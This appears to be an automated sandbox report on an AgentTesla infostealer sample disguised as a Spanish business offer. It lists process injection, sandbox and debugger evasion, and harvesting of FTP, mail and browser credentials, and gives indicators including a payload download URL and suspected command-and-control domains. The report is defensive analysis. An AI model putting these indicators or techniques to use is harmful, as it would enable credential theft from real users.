Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00CA0019 push edi; ret	9_2_00CA0032
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00CA14F8 pushad ; ret	9_2_00CA14FA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_010274D8 pushad ; iretd	9_2_01027986
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_01027988 pushad ; iretd	9_2_0102798A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_01026887 push ebx; iretd	9_2_0102688A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_01026890 push ecx; iretd	9_2_01026892
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0102FBD9 pushfd ; iretd	9_2_0102FBDA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0102FBE1 pushfd ; iretd	9_2_0102FBE2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0102FDFB push esp; ret	9_2_0102FE02
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0102FEB8 push esi; ret	9_2_0102FEBA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_1CC4FDF0 push edx; ret	9_2_1CC4FDF2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_1CC4ADAB push cs; ret	9_2_1CC4ADB2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_1CC4FDB3 push ecx; ret	9_2_1CC4FDBA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_1CC4FDBB push edx; ret	9_2_1CC4FDD2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_1CC4FE81 push edx; ret	9_2_1CC4FE82
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_1CC4FEA8 push edx; ret	9_2_1CC4FEAA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_1CC4AE4B push cs; ret	9_2_1CC4AE52

Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe	File created: \grupo mari#u00d1o obras y servicios, sl oferta 2709212890.exe
Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe	File created: \grupo mari#u00d1o obras y servicios, sl oferta 2709212890.exe			Jump to behavior

Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Tries to detect Any.run

Show sources

Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe, 00000001.00000002.1196463603.00000000006D4000.00000004.00000020.sdmp	Binary or memory string: \??\C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEPKMGJG
Source: GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe, 00000001.00000002.1197210514.0000000002370000.00000004.00000001.sdmp, RegAsm.exe, 00000009.00000002.5633868140.0000000000F90000.00000004.00000001.sdmp	Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
Source: RegAsm.exe, 00000009.00000002.5633868140.0000000000F90000.00000004.00000001.sdmp	Binary or memory string: NTDLLKERNEL32USER32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERSHELL32ADVAPI32USERPROFILE=HTTPS://DRIVE.GOOGLE.COM/UC?EXPORT=DOWNLOAD&ID=1QDBEU73XAJQYSEGJM8WSNOBOMAZKTJ_SWININET.DLLMOZILLA/5.0 (WINDOWS NT 6.1; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKO
Source: GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe, 00000001.00000002.1197210514.0000000002370000.00000004.00000001.sdmp	Binary or memory string: NTDLLKERNEL32USER32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERSHELL32ADVAPI32USERPROFILE=WINDIR=\MICROSOFT.NET\FRAMEWORK\V4.0.30319\REGASM.EXE\SYSWOW64\MSVBVM60.DLL

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 1168

Thread sleep time: -2767011611056431s >= -30000s

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Window / User API: threadDelayed 9941

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe

System information queried: ModuleInformation

Jump to behavior

Source: GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe, 00000001.00000002.1196463603.00000000006D4000.00000004.00000020.sdmp	Binary or memory string: \??\C:\Program Files\Qemu-ga\qemu-ga.exepKmGJg
Source: RegAsm.exe, 00000009.00000002.5633868140.0000000000F90000.00000004.00000001.sdmp	Binary or memory string: ntdllkernel32user32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublishershell32advapi32USERPROFILE=https://drive.google.com/uc?export=download&id=1qDBeu73xAjqYSegJM8wSNOboMaZKTj_swininet.dllMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Source: RegAsm.exe, 00000009.00000003.2146241908.00000000010BF000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW`W(M
Source: GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe, 00000001.00000002.1197210514.0000000002370000.00000004.00000001.sdmp	Binary or memory string: ntdllkernel32user32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublishershell32advapi32USERPROFILE=windir=\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe\syswow64\msvbvm60.dll
Source: RegAsm.exe, 00000009.00000002.5635613619.0000000001058000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW
Source: GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe, 00000001.00000002.1197210514.0000000002370000.00000004.00000001.sdmp, RegAsm.exe, 00000009.00000002.5633868140.0000000000F90000.00000004.00000001.sdmp	Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe

Anti Debugging:

Hides threads from debuggers

Show sources

Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread information set: HideFromDebugger			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 9_2_00C46958 KiUserExceptionDispatcher,LdrInitializeThunk,

9_2_00C46958

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Writes to foreign memory regions

Show sources

Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: D00000

Jump to behavior

Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe 'C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe'

Jump to behavior

Source: RegAsm.exe, 00000009.00000002.5644040894.00000000014E1000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: RegAsm.exe, 00000009.00000002.5644040894.00000000014E1000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: RegAsm.exe, 00000009.00000002.5644040894.00000000014E1000.00000002.00020000.sdmp	Binary or memory string: Program Manageran
Source: RegAsm.exe, 00000009.00000002.5644040894.00000000014E1000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 00000009.00000002.5663356827.000000001DE9D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.5660134124.000000001DDB1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 8360, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal ftp login credentials

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\			Jump to behavior

Tries to steal Mail credentials (via file access)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior

Source: Yara match	File source: 00000009.00000002.5660134124.000000001DDB1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 8360, type: MEMORYSTR

Remote Access Functionality:

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 00000009.00000002.5663356827.000000001DE9D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.5660134124.000000001DDB1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 8360, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation211	DLL Side-Loading1	Process Injection112	Disable or Modify Tools1	OS Credential Dumping2	Security Software Discovery421	Remote Services	Email Collection1	Exfiltration Over Other Network Medium	Encrypted Channel21	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	DLL Side-Loading1	Virtualization/Sandbox Evasion341	Credentials in Registry1	Process Discovery2	Remote Desktop Protocol	Archive Collected Data1	Exfiltration Over Bluetooth	Non-Standard Port1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Process Injection112	Security Account Manager	Virtualization/Sandbox Evasion341	SMB/Windows Admin Shares	Data from Local System2	Automated Exfiltration	Ingress Tool Transfer1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Obfuscated Files or Information1	NTDS	Application Window Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol2	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing1	LSA Secrets	File and Directory Discovery1	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol23	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	DLL Side-Loading1	Cached Domain Credentials	System Information Discovery115	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe	25%	Virustotal		Browse
GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe	14%	ReversingLabs
GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe	100%	Avira	TR/AD.Nekark.ldxvh

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
1.0.GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe.400000.0.unpack	100%	Avira	TR/AD.Nekark.ldxvh		Download File

Domains

Source	Detection	Scanner	Label	Link
mylgestion.com	0%	Virustotal		Browse
mail.mylgestion.com	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://127.0.0.1:HTTP/1.1	0%	Avira URL Cloud	safe
http://DynDns.comDynDNS	0%	Avira URL Cloud	safe
http://cps.letsencrypt.org0	0%	Avira URL Cloud	safe
https://qHEDRowcvxxxWAUzuEGa.comt-Dl	0%	Avira URL Cloud	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	0%	Avira URL Cloud	safe
http://harvFZ.com	0%	Avira URL Cloud	safe
http://x1.c.lencr.org/0	0%	Avira URL Cloud	safe
http://x1.i.lencr.org/0	0%	Avira URL Cloud	safe
http://r3.o.lencr.org0	0%	Avira URL Cloud	safe
http://mail.mylgestion.com	0%	Avira URL Cloud	safe
http://mylgestion.com	0%	Avira URL Cloud	safe
